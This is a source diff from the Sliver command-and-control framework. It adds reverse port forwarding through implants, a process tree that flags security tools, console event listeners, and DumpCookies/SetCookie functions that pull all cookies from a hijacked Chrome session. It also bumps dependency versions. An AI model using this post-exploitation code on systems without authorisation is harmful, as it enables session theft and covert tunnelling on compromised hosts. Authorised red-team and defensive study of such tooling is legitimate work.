+		session, beacon := con.ActiveTarget.GetInteractive()
+		if session != nil && session.PID != 0 {
+			currentPID = session.PID
+		} else if beacon != nil && beacon.PID != 0 {
+			currentPID = beacon.PID
+		}
+		// Print the process tree
+		sorted := SortProcessesByPID(ps.Processes)
+		tree := NewPsTree(currentPID)
+		for _, p := range sorted {
+			tree.AddProcess(p)
+		}
+		con.PrintInfof("Process Tree:\n%s", tree.String())
+		return
+	}

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
@@ -254,3 +290,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
 	}
 	return -1
 }
+
+// SortProcessesByPID - Sorts a list of processes by PID
+func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
+	sort.Slice(ps, func(i, j int) bool {
+		return ps[i].Pid < ps[j].Pid
+	})
+	return ps
+}
@@ -0,0 +1,149 @@
+package processes
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/xlab/treeprint"
+)
+
+// A PsTree is a tree of *commonpb.Process
+type PsTree struct {
+	printableTree treeprint.Tree // only used for rendering
+	implantPID    int32
+	procTree      *node // used to hold the tree structure
+}
+
+type node struct {
+	Value    *commonpb.Process // The process information
+	Children map[int32]*node   // The children of this node
+	Parent   *node             // The parent of this node
+}
+
+// NewPsTree creates a new PsTree
+func NewPsTree(pid int32) *PsTree {
+	return &PsTree{
+		printableTree: treeprint.New(),
+		implantPID:    pid,
+		procTree:      &node{Value: &commonpb.Process{Pid: -1}},
+	}
+}
+
+func (n *node) insert(proc *commonpb.Process) {
+	if n.Value == nil {
+		n.Value = proc
+		return
+	}
+	if parent := n.findParent(proc); parent != nil {
+		if parent.Children == nil {
+			parent.Children = make(map[int32]*node)
+		}
+		parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
+	} else {
+		if n.Children == nil {
+			n.Children = make(map[int32]*node)
+		}
+		n.Children[proc.Pid] = &node{Value: proc, Parent: n}
+	}
+}
+
+func (n *node) findParent(proc *commonpb.Process) *node {
+	if n.Value == nil {
+		return nil
+	}
+	if n.Value.Pid == proc.Ppid {
+		return n
+	}
+	for _, child := range n.Children {
+		if p := child.findParent(proc); p != nil {
+			return p
+		}
+	}
+	return nil
+}
+
+func reorder(root *node) {
+	toDelete := make([]int32, 0)
+	for pid, child := range root.Children {
+		// skip root node
+		if child.Value.Pid == -1 {
+			continue
+		}
+		// Skip edge case of [System Process] on Windows
+		if child.Value.Ppid == pid {
+			continue
+		}
+		// only focus on children without parent
+		if child.Parent.Value.Pid == -1 {
+			if parent := root.findParent(child.Value); parent != nil {
+				child.Parent = parent
+				if parent.Children == nil {
+					parent.Children = make(map[int32]*node)
+				}
+				// copy to new parent
+				parent.Children[pid] = child
+				// mark for deletion
+				toDelete = append(toDelete, pid)
+			}
+		}
+	}
+	// delete children that were moved
+	for _, pid := range toDelete {
+		delete(root.Children, pid)
+	}
+}
+
+func (t *PsTree) AddProcess(proc *commonpb.Process) {
+	t.procTree.insert(proc)
+}
+
+func (t *PsTree) filterProc(proc *commonpb.Process) string {
+	color := console.Normal
+	if proc.Pid == t.implantPID {
+		color = console.Green
+	}
+	if secTool, ok := knownSecurityTools[proc.Executable]; ok {
+		color = secTool[0]
+	}
+	return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
+}
+
+func (t *PsTree) String() string {
+	reorder(t.procTree)
+	return t.Print()
+}
+
+func (t *PsTree) Print() string {
+	topLevelPIDs := make([]int, 0, len(t.procTree.Children))
+	for k := range t.procTree.Children {
+		topLevelPIDs = append(topLevelPIDs, int(k))
+	}
+	sort.Ints(topLevelPIDs)
+	for _, pid := range topLevelPIDs {
+		current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
+		t.addToTree(current, t.procTree.Children[int32(pid)].Children)
+	}
+	return t.printableTree.String()
+
+}
+
+func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
+	for pid, proc := range procs {
+		if proc.Value.Pid == -1 {
+			continue
+		}
+		procName := t.filterProc(proc.Value)
+
+		procNode := tree.FindByMeta(pid)
+		if procNode == nil {
+			if len(proc.Children) > 0 {
+				procNode = tree.AddMetaBranch(pid, procName)
+			} else {
+				procNode = tree.AddMetaNode(pid, procName)
+			}
+		}
+		t.addToTree(procNode, proc.Children)
+	}
+}
@@ -0,0 +1,77 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	if session.GetActiveC2() == "dns" {
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
+	}
+
+	bindAddress := ctx.Flags.String("bind")
+	// Check if the bind address is just a port number, if no host is specified
+	// we just bind to all interfaces implant-side
+	if portNumberOnlyRegexp.MatchString(bindAddress) {
+		bindAddress = fmt.Sprintf(":%s", bindAddress)
+	}
+
+	forwardAddress := ctx.Flags.String("remote")
+	// Check if the forward address is just a port number, if no host is specified
+	// we just forward to localhost client-side
+	if portNumberOnlyRegexp.MatchString(forwardAddress) {
+		forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
+	}
+	rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
+		Request:        con.ActiveTarget.Request(ctx),
+		BindAddress:    bindAddress,
+		ForwardAddress: forwardAddress,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStartedRportFwdListener(rportfwdListener, con)
+}
+
+func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}
@@ -0,0 +1,55 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	listenerID := ctx.Flags.Int("id")
+	rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
+		Request: con.ActiveTarget.Request(ctx),
+		ID:      uint32(listenerID),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStoppedRportFwdListener(rportfwdListener, con)
+}
+
+func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}
@@ -0,0 +1,74 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
+}
+
+func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
+	if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
+		con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
+		return
+	}
+
+	if len(rportfwdListeners.Listeners) == 0 {
+		con.PrintInfof("No reverse port forwards\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Remote Address",
+		"Bind Address",
+	})
+	for _, p := range rportfwdListeners.Listeners {
+		tw.AppendRow(table.Row{
+			p.ID,
+			p.ForwardAddress,
+			p.BindAddress,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
@@ -130,8 +130,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width

-	if con.Settings.SmallTermWidth < width {
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -140,6 +141,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Message",
 			"Health",
 		})
@@ -177,7 +179,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users

 		var rowEntries []string
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -186,7 +188,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
+				con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
 				burned + SessionHealth,
 			}
 		} else {
@@ -215,6 +215,8 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 	// ---------------------
 	// Exec commands
 	// ---------------------
+	case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
+		fallthrough
 	case sliverpb.MsgExecuteAssemblyReq:
 		execAssembly := &sliverpb.ExecuteAssembly{}
 		err := proto.Unmarshal(task.Response, execAssembly)
@@ -1,10 +1,27 @@
 package websites

+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"errors"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"os"
 	"path"
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
 		return err
 	}
 	defer file.Close()
-	data, err := ioutil.ReadAll(file)
+	data, err := io.ReadAll(file)
 	if err != nil {
 		return err
 	}
@@ -1,5 +1,23 @@
 package websites

+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"strings"
@@ -1,5 +1,23 @@
 package websites

+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"

@@ -1,5 +1,23 @@
 package websites

+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"

@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
 		return sortedContents[i].Path < sortedContents[j].Path
 	})
 	for _, content := range sortedContents {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			content.Path,
 			content.ContentType,
 			content.Size,
@@ -44,6 +44,7 @@ import (
 	"github.com/desertbit/go-shlex"
 	"github.com/desertbit/grumble"
 	"github.com/fatih/color"
+	"github.com/gofrs/uuid"
 	"google.golang.org/protobuf/proto"
 )

@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
 	App                      *grumble.App
 	Rpc                      rpcpb.SliverRPCClient
 	ActiveTarget             *ActiveTarget
+	EventListeners           *sync.Map
 	BeaconTaskCallbacks      map[string]BeaconTaskCallback
 	BeaconTaskCallbacksMutex *sync.Mutex
 	IsServer                 bool
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 			observers:  map[int]Observer{},
 			observerID: 0,
 		},
+		EventListeners:           &sync.Map{},
 		BeaconTaskCallbacks:      map[string]BeaconTaskCallback{},
 		BeaconTaskCallbacksMutex: &sync.Mutex{},
 		IsServer:                 isServer,
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		con.App.SetPrompt(con.GetPrompt())
 	})

-	go con.EventLoop()
+	go con.startEventLoop()
 	go core.TunnelLoop(rpc)

 	err := con.App.Run()
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 	return err
 }

-func (con *SliverConsoleClient) EventLoop() {
+func (con *SliverConsoleClient) startEventLoop() {
 	eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		fmt.Printf(Warn+"%s\n", err)
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
 			return
 		}

+		go con.triggerEventListeners(event)
+
 		// Trigger event based on type
+		echoed := false // Only echo the event once
 		switch event.EventType {

 		case consts.CanaryEvent:
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
 			}
+			echoed = true

 		case consts.WatchtowerEvent:
 			msg := string(event.Data)
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
 			}
+			echoed = true

 		case consts.JoinedEvent:
 			con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
+			echoed = true
 		case consts.LeftEvent:
 			con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
+			echoed = true

 		case consts.JobStoppedEvent:
 			job := event.Job
 			con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
+			echoed = true

 		case consts.SessionOpenedEvent:
 			session := event.Session
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
 			}
+			echoed = true

 		case consts.SessionUpdateEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
 			shortID := strings.Split(session.ID, "-")[0]
 			con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
+			echoed = true

 		case consts.SessionClosedEvent:
 			session := event.Session
@@ -229,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				}
 				con.PrintEventInfof("Removed session %s from Operator", session.Name)
 			}
+			echoed = true

 		case consts.BeaconRegisteredEvent:
 			beacon := &clientpb.Beacon{}
@@ -247,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
 					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
 				}
 			}
+			echoed = true

 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
+			echoed = true
+
 		}

 		con.triggerReactions(event)

-		con.Printf(Clearln + con.GetPrompt())
-		bufio.NewWriter(con.App.Stdout()).Flush()
+		// Only render if we echoed the event
+		if echoed {
+			con.Printf(Clearln + con.GetPrompt())
+			bufio.NewWriter(con.App.Stdout()).Flush()
+		}
 	}
 }

+func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
+	listener := make(chan *clientpb.Event, 100)
+	listenerID, _ := uuid.NewV4()
+	con.EventListeners.Store(listenerID.String(), listener)
+	return listenerID.String(), listener
+}
+
+func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
+	value, ok := con.EventListeners.LoadAndDelete(listenerID)
+	if ok {
+		close(value.(chan *clientpb.Event))
+	}
+}
+
+func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
+	con.EventListeners.Range(func(key, value interface{}) bool {
+		listener := value.(chan *clientpb.Event)
+		listener <- event // Do not block while sending the event to the listener
+		return true
+	})
+}
+
 func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
 	reactions := core.Reactions.On(event.EventType)
 	if len(reactions) == 0 {
@@ -525,6 +567,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
 	go spin.Until(con.App.Stdout(), message, ctrl)
 }

+// FormatDateDelta - Generate formatted date string of the time delta between then and now
+func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
+	nextTime := t.Format(time.UnixDate)
+
+	var interval string
+
+	if t.Before(time.Now()) {
+		if includeDate {
+			interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
+		} else {
+			interval = time.Since(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
+		}
+	} else {
+		if includeDate {
+			interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
+		} else {
+			interval = time.Until(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
+		}
+	}
+	return interval
+}
+
 //
 // -------------------------- [ Active Target ] --------------------------
 //
@@ -88,6 +88,15 @@ const (

 	// BeaconTaskResult - Beacon task completed with a result
 	BeaconTaskResultEvent = "beacon-taskresult"
+
+	// ExternalBuildEvent
+	ExternalBuildEvent          = "external-build"
+	AcknowledgeBuildEvent       = "external-acknowledge"
+	ExternalBuildFailedEvent    = "external-build-failed"
+	ExternalBuildCompletedEvent = "external-build-completed"
+
+	// WireGuardNewPeer - New Wireguard peer added
+	WireGuardNewPeer = "wireguard-newpeer"
 )

 // Commands
@@ -224,8 +233,9 @@ const (
 	InteractiveStr        = "interactive"
 	CloseStr              = "close"

-	PortfwdStr = "portfwd"
-	Socks5Str  = "socks5"
+	PortfwdStr  = "portfwd"
+	Socks5Str   = "socks5"
+	RportfwdStr = "rportfwd"

 	ReactionStr = "reaction"

@@ -245,6 +255,9 @@ const (
 	CursedConsole  = "console"
 	CursedElectron = "electron"
 	CursedEdge     = "edge"
+	CursedCookies  = "cookies"
+
+	BuildersStr = "builders"
 )

 // Groups
@@ -3,14 +3,17 @@ package overlord
 /*
 	Sliver Implant Framework
 	Copyright (C) 2022  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -24,8 +27,11 @@ import (
 	"log"
 	"net/http"
 	"net/url"
+	"time"

 	"github.com/bishopfox/sliver/client/core"
+	"github.com/chromedp/cdproto/cdp"
+	"github.com/chromedp/cdproto/network"
 	"github.com/chromedp/cdproto/page"
 	"github.com/chromedp/cdproto/target"
 	"github.com/chromedp/chromedp"
@@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
 	}
 	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
 	var result []byte
-	err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
+	evalTasks := chromedp.Tasks{
+		chromedp.Evaluate(jsCode, &result),
+	}
+	err := chromedp.Run(extCtx, evalTasks)
 	return result, err
 }

@@ -260,6 +269,68 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 	return extensionContexts, nil
 }

+// DumpCookies - Dump all cookies from the remote debug target
+func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
+	var cookies []*network.Cookie
+	var err error
+	dumpCookieTasks := chromedp.Tasks{
+		// read network values
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			cookies, err = network.GetAllCookies().Do(ctx)
+			if err != nil {
+				return err
+			}
+			// for i, cookie := range cookies {
+			// 	log.Printf("chrome cookie %d: %+v", i, cookie)
+			// }
+			return nil
+		}),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
+		return cookies, err
+	}
+	return cookies, nil
+}
+
+func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
+	var res string
+	setCookieTasks := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			// create cookie expiration
+			expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
+			// add cookies to chrome
+			for i := 0; i < len(cookies); i += 2 {
+				err := network.SetCookie(cookies[i], cookies[i+1]).
+					WithExpires(&expr).
+					WithDomain("localhost").
+					WithHTTPOnly(true).
+					Do(ctx)
+				if err != nil {
+					return err
+				}
+			}
+			return nil
+		}),
+		// navigate to site
+		// chromedp.Navigate(host),
+		// read the returned values
+		// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+		return "", err
+	}
+
+	return res, nil
+}
+
 // Screenshot - Take a screenshot of a Chrome context
 func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
 	var result []byte
@@ -14,7 +14,7 @@ GEM
      execjs
    coffee-script-source (1.11.1)
    colorator (1.1.0)
-    commonmarker (0.23.4)
+    commonmarker (0.23.6)
    concurrent-ruby (1.1.9)
    dnsruby (1.61.9)
      simpleidn (~> 0.1)
@@ -232,7 +232,7 @@ GEM
      jekyll-seo-tag (~> 2.1)
    minitest (5.15.0)
    multipart-post (2.1.1)
-    nokogiri (1.13.6)
+    nokogiri (1.13.9)
      mini_portile2 (~> 2.8.0)
      racc (~> 1.4)
    octokit (4.22.0)
@@ -20,8 +20,8 @@ set -e

 # Creates the static go asset archives

-GO_VER="1.18.6"
-GARBLE_VER="1.18.0"
+GO_VER="1.19.3"
+GARBLE_VER="1.19.4"
 SGN_VER="0.0.3"

 GO_ARCH_1="amd64"
@@ -156,7 +156,7 @@ echo "-----------------------------------------------------------------"

 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
@@ -5,61 +5,61 @@ go 1.18
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6

 require (
-	github.com/AlecAivazis/survey/v2 v2.2.2
+	github.com/AlecAivazis/survey/v2 v2.3.6
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
 	github.com/Ne0nd0g/go-clr v1.0.2
 	github.com/alecthomas/chroma v0.10.0
-	github.com/cheggaaa/pb/v3 v3.0.5
-	github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
-	github.com/chromedp/chromedp v0.8.5
+	github.com/cheggaaa/pb/v3 v3.1.0
+	github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
+	github.com/chromedp/chromedp v0.8.6
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/desertbit/readline v1.5.1
 	github.com/fatih/color v1.13.0
-	github.com/gofrs/uuid v4.0.0+incompatible
+	github.com/gofrs/uuid v4.3.0+incompatible
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
